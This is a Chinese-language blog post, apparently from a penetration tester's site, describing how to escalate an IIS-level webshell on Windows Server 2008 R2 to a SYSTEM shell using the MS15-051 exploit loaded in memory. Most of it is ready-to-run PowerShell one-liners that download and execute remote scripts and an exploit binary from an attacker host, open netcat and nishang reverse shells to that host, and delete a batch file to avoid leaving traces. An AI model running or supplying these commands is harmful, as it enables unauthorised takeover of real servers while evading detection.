• 方法1:上传nc到win2008R2
  • 方法2:
  • 参考链接:
  • 首页
  • 渗透
  • 折腾
  • 转载
  • 关于Me
  • 榜上有名
  • 文章存档
  • 友情链接

不妨看看这里

会员面板

Base64 Image

powershell远程加载ms15-051exp对win2008 R2提权

  • Mr.Wu
  • 2018-07-22
  • 0
环境:win2008R2一台 外网服务器一台 场景:已经得到win2008R2的webshell,权限的iis,目标是得到system权限的交互式shell。

方法1:上传nc到win2008R2


ms15-051在内存提权

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://外网IP:8011/ms15-051.exe -ExeArgs '\"nc -e cmd 外网IP 8443\"' -ForceASLR

方法2:

将反弹Powershell的命令写在1.bat,为了不留下文件,所以del 1.bat,但感觉还不够优雅。 反弹Powershell的命令(1.bat)

del 1.bat && powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 外网IP -port 8443
然后在提权的时候执行1.bat

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://外网IP:8011/ms15-051.exe -ExeArgs '\"1.bat\"' -ForceASLR
有人可能会问直接执行反弹shell的命令行不行,因为命令中存在单引号,所以暂时是写在bat里,避免报错。但记得可以执行Empire中经过base64编码的命令,可以避免单引号这个问题,还未实践成功。

参考链接:

60字节 - 无文件渗透测试实验 一篇文章精通PowerShell Empire 2.3(上)
© 2025 MrWu
Theme by Wing-child
  • {{ item.name }}
  • {{ item.name }}